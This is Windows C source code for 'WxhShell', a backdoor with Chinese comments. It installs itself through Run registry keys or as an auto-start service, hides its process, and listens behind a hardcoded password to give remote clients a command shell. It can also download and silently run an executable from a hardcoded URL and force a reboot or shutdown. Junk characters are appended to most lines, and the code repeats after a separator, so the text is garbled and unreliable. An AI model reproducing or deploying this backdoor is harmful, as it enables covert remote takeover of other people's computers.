    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2#Fc4RR;  
    if(Boot(SHUTDOWN)) Ij>x3L\-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >j1\]uo  
    else { jRXpEiM  
    closesocket(wsh); y4`<$gL   
    ExitThread(0); >So)KB  
    } Ww*='lz  
    break; j3QpY9A  
    } /#J)EH4p  
  // 获取shell w5"C<5^  
  case 's': { gO-C[j/  
    CmdShell(wsh); 't=\YFQ*v  
    closesocket(wsh); hvu>P {  
    ExitThread(0); 70! &  
    break; Oqzz9+  
  } ~o`I[-g)  
  // 退出 -ecP@,  
  case 'x': { 6L~@jg~0A[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _+ K[1P  
    CloseIt(wsh); *a Y`[,4#$  
    break; *&)<'6  
    } c8mcJAc  
  // 离开 5J1A|qII  
  case 'q': { b7>^w<ki  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E)|_7x<u  
    closesocket(wsh); <^VZ4$j  
    WSACleanup(); P8.tl"q  
    exit(1); iZ+\vO?|  
    break; "|pNS)  
        } UM%[UyYQ  
  } cOra`7L`  
  } a#W:SgE?Y  
dwks"5l  
  // 提示信息 LH.. 8nfl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e47JLW&b  
} le`&VdE^  
  } ((rk)Q+;v  
?}sh@;]*h  
  return; W5*%n]s~  
} cA ;'~[  
W?{:HV  
// shell模块句柄 ZjY_AbD  
int CmdShell(SOCKET sock) w[PWJ! <  
{ HbF.doXK  
STARTUPINFO si; MrjET!`.jC  
ZeroMemory(&si,sizeof(si)); 9z 5K  -s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $DW3H1iW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fXMVl\ <  
PROCESS_INFORMATION ProcessInfo; ^a|$z$spf  
char cmdline[]="cmd"; /_E:sI9(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $enh>!mU  
  return 0; u4B,|_MK  
} *!UY;InanX  
5=Mm=HyI2  
// 自身启动模式 WMBntB   
int StartFromService(void) <Fb3\T L  
{ 70&v`"  
typedef struct 13Ga #  
{ 5gW`;Cdbyc  
  DWORD ExitStatus; hb9X<N+p  
  DWORD PebBaseAddress; u8 14ZN}  
  DWORD AffinityMask; %*P59%  
  DWORD BasePriority; o#E 3{zM  
  ULONG UniqueProcessId; mnL \c'  
  ULONG InheritedFromUniqueProcessId; 1Nx.aji  
}   PROCESS_BASIC_INFORMATION; vTjgW?9  
HyXw^ +tsj  
PROCNTQSIP NtQueryInformationProcess; "!XeK|Wi  
m}0US;c#f  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; OlhfBu)~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PRl\W:_t  
ed*Cx~rT  
  HANDLE             hProcess; joDnjz=  
  PROCESS_BASIC_INFORMATION pbi; 6cSMKbgZJ  
zfL$z,zgf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (,Yb]/O*  
  if(NULL == hInst ) return 0; H[V^wyi'z  
hN c;, 13  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i0,{*LD%^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); noe1*2*TE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0"o<( 1  
H ~1laV  
  if (!NtQueryInformationProcess) return 0; oM-{)rvQd  
CmRn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &'Qz  
  if(!hProcess) return 0; }uWJ  
lDV8<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g^8dDY[%  
]4\^>  
  CloseHandle(hProcess); `LH!"M  
-2|D( sO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >yUThhJRn  
if(hProcess==NULL) return 0; dra'1E  
];6c/#2x  
HMODULE hMod; \v]}  
char procName[255]; ]R}#3(]1  
unsigned long cbNeeded; b>E%&sf  
m\7-/e2 a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #h ;j2  
WM: ~P$%cx  
  CloseHandle(hProcess); xq =+M!V  
F/ 2@%,2n  
if(strstr(procName,"services")) return 1; // 以服务启动 hSaS2RLF  
9:A>a3KOH  
  return 0; // 注册表启动 '*!R gbj;  
} *jGB/ y  
[6 wI22  
// 主模块 [V{JuG;s  
int StartWxhshell(LPSTR lpCmdLine) x +|Fw d  
{ PqPLy  
  SOCKET wsl; "%urT/F v&  
BOOL val=TRUE; %H>vMR-,~  
  int port=0; |`s}PcV  
  struct sockaddr_in door; 66D<Up'K  
wc)[r~On(5  
  if(wscfg.ws_autoins) Install(); *x`z5_yfO  
[ar:zl V8  
port=atoi(lpCmdLine); 4DEsB)%X  
cGkl=-oQ'  
if(port<=0) port=wscfg.ws_port; R%aH{UhE`  
J><O 51  
  WSADATA data; L;nRI.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 52m^jT Sx  
?Li^XONz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a%tm[Re  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `NXyzT`:K  
  door.sin_family = AF_INET; dpZ7eJ   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m<8j' [+  
  door.sin_port = htons(port); Jl Q%+$  
yr&oJYM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vKAHf;1  
closesocket(wsl); _|DP  
return 1; % %c0UaV  
} vIU+ZdBw  
r{)d?Ho=  
  if(listen(wsl,2) == INVALID_SOCKET) { !/< 5.9!9r  
closesocket(wsl); 5|m|R"I*Y  
return 1; KwPJ0 ]('_  
} =t@m:  
  Wxhshell(wsl); ~0ZEnejy  
  WSACleanup(); >1pD'UZIy7  
?*}76u  
return 0; MP[v 9m@  
\*LMc69  
} E}k#-+u<S4  
eN/s W!:P|  
// 以NT服务方式启动 sl6p/\_w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {,IWjt &>  
{ <ofXNv;`  
DWORD   status = 0; <B`}18x  
  DWORD   specificError = 0xfffffff; {tOuKnnS  
68FxM#xR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6xdu}l=%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "1%<IqpU+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "x\3`Qk  
  serviceStatus.dwWin32ExitCode     = 0; *^Zt5 zk  
  serviceStatus.dwServiceSpecificExitCode = 0; t8i"f L  
  serviceStatus.dwCheckPoint       = 0; g ywI@QD%#  
  serviceStatus.dwWaitHint       = 0; *Q!b%DIa$  
hNDhee`%6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (N;Jw^C@  
  if (hServiceStatusHandle==0) return; mI9h| n  
 cD0  
status = GetLastError(); F1M@$S ,  
  if (status!=NO_ERROR) QIi*'21a+  
{ pC8(>gV<h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; enG6T  
    serviceStatus.dwCheckPoint       = 0; YL){o$-N"J  
    serviceStatus.dwWaitHint       = 0; G8u8&|  
    serviceStatus.dwWin32ExitCode     = status; ^l$(-#'y  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y D.3FTNGC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [ R~+p#l+Q  
    return; h4?+/jk7  
  } f@LUp^Z/v  
wB9IP{Pf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L%B+V;<h3  
  serviceStatus.dwCheckPoint       = 0; =v:_N.Fh-c  
  serviceStatus.dwWaitHint       = 0; r0\bi6;s/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DIk$9$"<x  
} X'k w5P!sq  
]2h[.qa  
// 处理NT服务事件,比如:启动、停止 ~%#?;hJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n:wn(BC3  
{ T"QY@#E  
switch(fdwControl) I,YGm  
{ ]VwAHT&je  
case SERVICE_CONTROL_STOP: Y\+^\`Tqu  
  serviceStatus.dwWin32ExitCode = 0; z7<^aS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N->;q^  
  serviceStatus.dwCheckPoint   = 0; 2CmeO&(Qf*  
  serviceStatus.dwWaitHint     = 0; %i.|bIhmm  
  { WZm^:,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #jZ:Ex  
  } uFok'3!g7%  
  return; @J r  
case SERVICE_CONTROL_PAUSE: <U~P-c tN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (S2<6Nm8  
  break; $hKgTf?  
case SERVICE_CONTROL_CONTINUE: \&TTe8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E32z(:7M  
  break; ise@,[!  
case SERVICE_CONTROL_INTERROGATE: SbGp  
  break; V >['~|  
}; _I8-0DnOM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qb(CH  
} Rw/G =zV@2  
Y\op9 Fw  
// 标准应用程序主函数 E_H1X'|qS4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qL'3MY.!  
{ Q'8v!/"}p{  
?-i|f_`  
// 获取操作系统版本 c<H4rB  
OsIsNt=GetOsVer(); 3zl!x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _p_F v>>:  
3/[=  
  // 从命令行安装 #e|eWi>  
  if(strpbrk(lpCmdLine,"iI")) Install(); iEU(1?m2-  
Etl7V  
  // 下载执行文件 '@fk(~|  
if(wscfg.ws_downexe) { 26Yg?:kP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >)N#n`  
  WinExec(wscfg.ws_filenam,SW_HIDE); }2\"(_  
} >|iy= Zn%'  
JHQ8o5bEQp  
if(!OsIsNt) { @?1%*/  
// 如果时win9x,隐藏进程并且设置为注册表启动 [ =9R5.)c  
HideProc(); t&&OhHK  
StartWxhshell(lpCmdLine); *,R e&N8  
} %]R#}amW  
else `Ch6"= t  
  if(StartFromService()) H!Od.$ZIX  
  // 以服务方式启动 8odVdivh  
  StartServiceCtrlDispatcher(DispatchTable); HhpP}9P;  
else @i`gR%  
  // 普通方式启动 ~Fx[YPO,  
  StartWxhshell(lpCmdLine); <pE G8_{}  
o?b%L  
return 0; ;T_9;RU<'b  
} AH7k|6ku<*  
h)<R#xw  
)ld7^G  
%/^d]#  
=========================================== #>,cc?H-  
S :}s|![p  
!;xE7w  
}Sh-4:-D  
?k3b\E3  
AzV5Re8M  
" wH`@r?&  
n;=A'g|Q  
#include <stdio.h> ?UxY4m%R;  
#include <string.h> cpy"1=K~M  
#include <windows.h> iY($O/G[+  
#include <winsock2.h> (]V.#JM  
#include <winsvc.h> h49Q2`  
#include <urlmon.h> ]SPB c  
=&pbh  
#pragma comment (lib, "Ws2_32.lib") G8&'*7Bb  
#pragma comment (lib, "urlmon.lib") )s8r(.W  
F#PJ+W*h  
#define MAX_USER   100 // 最大客户端连接数 ,qfa,O  
#define BUF_SOCK   200 // sock buffer y{"E) YY  
#define KEY_BUFF   255 // 输入 buffer vr  vzV  
I,S'zHR  
#define REBOOT     0   // 重启 dL\8^L  
#define SHUTDOWN   1   // 关机 &Ch)SD  
|HEw~x<=  
#define DEF_PORT   5000 // 监听端口 t,+S~Cj|  
iWCV(!  
#define REG_LEN     16   // 注册表键长度 Z-<u?f8{*  
#define SVC_LEN     80   // NT服务名长度 joA+  
}ot _k-  
// 从dll定义API O`u!P\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bPOx~ CMh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K$ &wO.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7X|r';"?i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -hzza1DP  
S3_4i;K\  
// wxhshell配置信息 HDEG/k/~m  
struct WSCFG { Z~uKT n  
  int ws_port;         // 监听端口 br;G5^j3?  
  char ws_passstr[REG_LEN]; // 口令 ]M2<I#hF.  
  int ws_autoins;       // 安装标记, 1=yes 0=no ./ :86@O  
  char ws_regname[REG_LEN]; // 注册表键名 KRtu@;?  
  char ws_svcname[REG_LEN]; // 服务名 93J)9T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ypd?mw&1}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4yA`);r62  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6+5Catsn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no V!P3CNK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V9 VP"kD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x.yL'J\)  
6:,^CI|@ t  
}; 2{CSH_"Z7  
64lEB>VNm  
// default Wxhshell configuration eTc`FXw`  
struct WSCFG wscfg={DEF_PORT, ETOc4hMO  
    "xuhuanlingzhe", hkJZqUA  
    1, vo$66A  
    "Wxhshell", /4?`F} 7)  
    "Wxhshell", /RM-+D:Y  
            "WxhShell Service", W,~1KUTc  
    "Wrsky Windows CmdShell Service", s2v*  
    "Please Input Your Password: ", b8>9mKs  
  1, Q8x{V_Pot  
  "http://www.wrsky.com/wxhshell.exe", a%!XLyq  
  "Wxhshell.exe" ^{s0d+@{  
    }; ~Z2eQx jtM  
l:eNu}{&  
// 消息定义模块 C6w{"[Wv=X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f 99PwE(=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <<6w9wNon  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G!8pF  
char *msg_ws_ext="\n\rExit."; ?nW#qy!R  
char *msg_ws_end="\n\rQuit."; As|/ O7%  
char *msg_ws_boot="\n\rReboot..."; sQZ8<DpB  
char *msg_ws_poff="\n\rShutdown..."; f>dkT'4  
char *msg_ws_down="\n\rSave to "; @>5<m'}2  
}^[@m#  
char *msg_ws_err="\n\rErr!"; zRu`[b3u<  
char *msg_ws_ok="\n\rOK!"; dLf8w>i`T  
tTH%YtG  
char ExeFile[MAX_PATH]; Y2-bU 7mo  
int nUser = 0; )^H9C"7T  
HANDLE handles[MAX_USER]; Aa>gN  
int OsIsNt; S=p u  
7Ca\ (82  
SERVICE_STATUS       serviceStatus; MuGg z>CV[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3.X0!M;x  
qJU)d  
// 函数声明 YSo7~^1W"  
int Install(void); #&83;uys  
int Uninstall(void); .,Qnn}:l  
int DownloadFile(char *sURL, SOCKET wsh); F5+_p@ !i  
int Boot(int flag); gi'agB^  
void HideProc(void); A#S:_d  
int GetOsVer(void); <UJJ],)^1A  
int Wxhshell(SOCKET wsl); 7[BL 1HI*  
void TalkWithClient(void *cs); ]?(F'&  
int CmdShell(SOCKET sock); n-3j$x1Ne  
int StartFromService(void); wG5RN;`V  
int StartWxhshell(LPSTR lpCmdLine); kA!(}wRL  
K<6x4ha  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5iddB $  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2nkj;x{H$  
EAw#$Aq=  
// 数据结构和表定义 *t{c}Y&@  
SERVICE_TABLE_ENTRY DispatchTable[] = Pki4wDCTW  
{ ;J-Ogt@d7  
{wscfg.ws_svcname, NTServiceMain}, V2{#<d-T!  
{NULL, NULL} 4oV_b"xz~  
}; <C%-IZv$  
(V.,~t@  
// 自我安装 $sF#Na4^  
int Install(void) !9xANSb  
{ j9ta0~x1*6  
  char svExeFile[MAX_PATH]; 4V|z)=)A  
  HKEY key; yM:~{;HLF  
  strcpy(svExeFile,ExeFile); h#>L:Wf5E  
Hu8atlpo  
// 如果是win9x系统,修改注册表设为自启动 F.pHL)37  
if(!OsIsNt) { *}ee"eHs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z-G7Y#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4c[)}8\  
  RegCloseKey(key); 6BU0hV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mqk(UOK`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6'Yn|A  
  RegCloseKey(key); ;K\N  
  return 0; eH%L?"J~:  
    } =+}}Sv2  
  } l$VxE'&LQ  
} w2N3+Tkg  
else { >xV<nLf/  
&rztC]jF  
// 如果是NT以上系统,安装为系统服务 iW1ih Q X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8;g.3Qv  
if (schSCManager!=0) e=o{Zo?H=  
{ mERrcYY{  
  SC_HANDLE schService = CreateService h2"|tTm,a  
  ( e9@fQ  
  schSCManager, j%Z{.>mJ  
  wscfg.ws_svcname, !N8)C@=  
  wscfg.ws_svcdisp, zLw h6^?Y  
  SERVICE_ALL_ACCESS, 207O["Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s i "`  
  SERVICE_AUTO_START, ]Uu(OI<)  
  SERVICE_ERROR_NORMAL, fE%[j?[  
  svExeFile, 0uIV6LI  
  NULL, 2r}uE\GN  
  NULL, i\Pr3 7 "  
  NULL, ^UvK~5tBV  
  NULL, SXBQ  
  NULL T]#,R|)d  
  ); zz 'dg-F  
  if (schService!=0) vN,}aV2nq  
  { _A,-[*OKI  
  CloseServiceHandle(schService); 0^y@p&;/.  
  CloseServiceHandle(schSCManager); $;2eH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L);||]B  
  strcat(svExeFile,wscfg.ws_svcname); VyoE5o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >[XOMKgQ](  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); co^P7+j  
  RegCloseKey(key); $]%<r?MUb-  
  return 0; 4/2RfDp  
    } 5&HT$"H :  
  } d@6:|auO  
  CloseServiceHandle(schSCManager); a(ux?V)E.  
} %kZ~xbY  
} l0caP(  
u1;e*ty  
return 1; X(!AI|6Bt  
} yxCM l.  
n4vXm  
// 自我卸载 3j+=3n,  
int Uninstall(void) nI*(a:  
{ t?9 ;cS4  
  HKEY key; i_0 ,BV C  
WAwfL?  
if(!OsIsNt) { 9*=@/1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HTDyuqs  
  RegDeleteValue(key,wscfg.ws_regname); 7"n)/;la  
  RegCloseKey(key); 6)#- 5m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rKzv8d  
  RegDeleteValue(key,wscfg.ws_regname); +e0dV_T_>  
  RegCloseKey(key); | or 8d>,  
  return 0; T$n>7X-r  
  } wWJQ ~i?  
} %Rd~|$@>x  
} ]{AOh2Z.hv  
else { Nxbd~^j  
nb0 Py>4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vn0cKz@  
if (schSCManager!=0) cXb @H#  
{ A]Q1&qM%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mEB2RLCM  
  if (schService!=0) |5O >>a()  
  { Et}C`vZ+Ve  
  if(DeleteService(schService)!=0) { ~mXZfG/D  
  CloseServiceHandle(schService); l:zU_J6  
  CloseServiceHandle(schSCManager); .#=j <&  
  return 0; ;.nP%jD  
  } FVsu8z u  
  CloseServiceHandle(schService); POqRHuFq  
  } u=@h`5-fp  
  CloseServiceHandle(schSCManager); j8[`~p b  
} 'R4>CZ%jV  
} 1Lm].tq  
P"R97#C  
return 1; _.d}lK3$2  
} \3H<z@;  
(30<oE{  
// 从指定url下载文件 t$]&,ucW#  
int DownloadFile(char *sURL, SOCKET wsh) L.09\1?.n  
{ #*yM2H"7,;  
  HRESULT hr; ,J~,ga~  
char seps[]= "/"; CB*`  
char *token; O+G~Qp0b>  
char *file; WFU?o[k-O  
char myURL[MAX_PATH]; 6keP':bt  
char myFILE[MAX_PATH]; z:Xj_ `p  
vp\PYg;x  
strcpy(myURL,sURL); ! Q|J']|  
  token=strtok(myURL,seps); JqI6k6~Q^  
  while(token!=NULL) v!<PDw2'  
  { hmK8j l<6  
    file=token; j+_S$T8w  
  token=strtok(NULL,seps); \6`v.B&v  
  } .9T.3yQ  
Z:# .;wA  
GetCurrentDirectory(MAX_PATH,myFILE); M&uzOK+  
strcat(myFILE, "\\"); GXOFk7>  
strcat(myFILE, file); ps"/}u l  
  send(wsh,myFILE,strlen(myFILE),0); to99 _2  
send(wsh,"...",3,0); TK; \_yN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); RGT_}ni  
  if(hr==S_OK) 8w)e/*:j  
return 0; ? .c?Pu  
else 8ivRp<9  
return 1; :D"@6PC]  
;Y Dv.I  
} )8pc f`h{  
uk`T+@K  
// 系统电源模块 zc6H o  
int Boot(int flag) !"g=&Uy&  
{ VDB$"T9#  
  HANDLE hToken; a`7%A H)  
  TOKEN_PRIVILEGES tkp; OOCQsoN  
E^b pckP  
  if(OsIsNt) { q<-%L1kc 1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d32@M~vD  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >$2E1HW.  
    tkp.PrivilegeCount = 1; $z= 0[%L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _ymJ~MK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); IYuyj(/!  
if(flag==REBOOT) { &g*klt'B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |.1qy,|!X  
  return 0; 98BYtxa  
} $GQphXb$  
else { .W!tveX8-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E;9Z\?P  
  return 0; 8ou e-:/a  
} t Y{; U#9  
  } riID,aut  
  else { hZ!oRWIU%G  
if(flag==REBOOT) { e&d3SQ%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E::L?#V  
  return 0; m])Lw@#9W  
} jyNb(Z  
else { 2*+ 3Rr J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JYPxd~T/-  
  return 0; $np=eT)  
} T}UT 7W|  
} T'hml   
&kb\,mQ  
return 1; Q`N18I3  
} $9G3LgcS  
O'fk&&l  
// win9x进程隐藏模块 |-|jf  
void HideProc(void) "hW(S  
{ d&hD[v  
; vMn/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); . =&Jo9  
  if ( hKernel != NULL ) 6A}eSG3  
  { !&W|myN^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~ 9=27 p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3Q",9(D  
    FreeLibrary(hKernel); .%_)*NUZ  
  } 4&|C}  
)B81i! q  
return; d5Qd'  
} X&s7% ]n+  
:ztyxJv1  
// 获取操作系统版本 CQ<8P86gt  
int GetOsVer(void) ai4PM b$p  
{ J=):+F=  
  OSVERSIONINFO winfo; 5lO^;.cS,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %8 qSv%_  
  GetVersionEx(&winfo); t')h{2&&!2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `Z:3` 7c  
  return 1; ;J'OakeVO  
  else "MTWjW*6  
  return 0; z4g+2f7h-X  
} d]MGN^%o  
>=Jsv  
// 客户端句柄模块 m*gj|1k  
int Wxhshell(SOCKET wsl) q8/ihA6:  
{ xo(k?+P>.  
  SOCKET wsh; l2(.>-#  
  struct sockaddr_in client; dN<5JQql  
  DWORD myID; wk@yTTnb  
;|6FdU  
  while(nUser<MAX_USER) 2hy NVG&$  
{ %lV@:"G  
  int nSize=sizeof(client); [7RheXO <  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y xJ`-6  
  if(wsh==INVALID_SOCKET) return 1; FRgLlp8x  
{EL'd!v7e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v~}5u 5 $O  
if(handles[nUser]==0) b~j~  
  closesocket(wsh); 847 R   
else %[XY67A3I  
  nUser++; TMww  
  } { UOhVJy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WO@H*  
8[~~gYl  
  return 0; [^M|lf   
} 6Hwxx5>r  
D M}s0O$ 0  
// 关闭 socket 0Z,{s158L  
void CloseIt(SOCKET wsh) 0V3gKd7  
{ UW/N MjK  
closesocket(wsh); =-qf;5[|  
nUser--; gfm;xT/y  
ExitThread(0); [fxuUmU  
} q3)wr%!k5D  
]H+{eJB7O  
// 客户端请求句柄 \B&6TeR  
void TalkWithClient(void *cs) Xem5@ (u  
{ H} 6CKP}  
{`F1u?l  
  SOCKET wsh=(SOCKET)cs;  ,gmH2.  
  char pwd[SVC_LEN]; )\0q_a  
  char cmd[KEY_BUFF]; ec?V[v  
char chr[1]; 88g47>{X  
int i,j; }/p/pVz  
\TUE<<?1s  
  while (nUser < MAX_USER) { ?+Q$#pb  
sB6dp D  
if(wscfg.ws_passstr) { # k9 <  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +#s;yc#=2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f;wc{qy  
  //ZeroMemory(pwd,KEY_BUFF); xr.XU'  
      i=0; ~ezCu_  
  while(i<SVC_LEN) { q@kOTkHv)  
B+Z13;}B  
  // 设置超时 "yW&<7u1  
  fd_set FdRead; SX+4 HJB  
  struct timeval TimeOut; %$TEDr!  
  FD_ZERO(&FdRead); E/mw* c^  
  FD_SET(wsh,&FdRead); x@m<Ym-  
  TimeOut.tv_sec=8; j{;|g%5t  
  TimeOut.tv_usec=0; N _G4_12(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e:OyjG5_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6/6Rah!  
c 0-w6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A,BEKjR~J  
  pwd=chr[0]; -72j:nk  
  if(chr[0]==0xd || chr[0]==0xa) { Yj|]Uff8O  
  pwd=0; J &{xP8uq_  
  break; Obo_YE  
  } J>%t<xYf4  
  i++; aD ESr?  
    } .oR3Q/|k]  
7F(5)Utt  
  // 如果是非法用户,关闭 socket 6Y7H|>g)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <GF@L  
} #6W,6(#^#  
nU/;2=f<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5+K;_)   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :<GfETIs  
CCqT tp  
while(1) { WeC(w+}p  
&g0g]G21*I  
  ZeroMemory(cmd,KEY_BUFF); :#$F)]y'\  
J#aVo &.Y  
      // 自动支持客户端 telnet标准   }+0z,s~0.  
  j=0; })[($$f/  
  while(j<KEY_BUFF) { F P@qh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \84v-VK  
  cmd[j]=chr[0]; ^u)rB<#BR  
  if(chr[0]==0xa || chr[0]==0xd) { |s=`w8p  
  cmd[j]=0; 8Kk\*8 <  
  break; OCnFEX"  
  } |pW\Ec#(  
  j++; ;S JF%@x  
    } vT7g<  
_]|Qec)  
  // 下载文件 <9ifPSvJ  
  if(strstr(cmd,"http://")) { B4yh3cf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N:x0w+Ca  
  if(DownloadFile(cmd,wsh)) S&?7K-F>_o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i:Y\`J  
  else /\E [  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6>DLp}d  
  } _k2w(ew?  
  else { f=aIXhiYU  
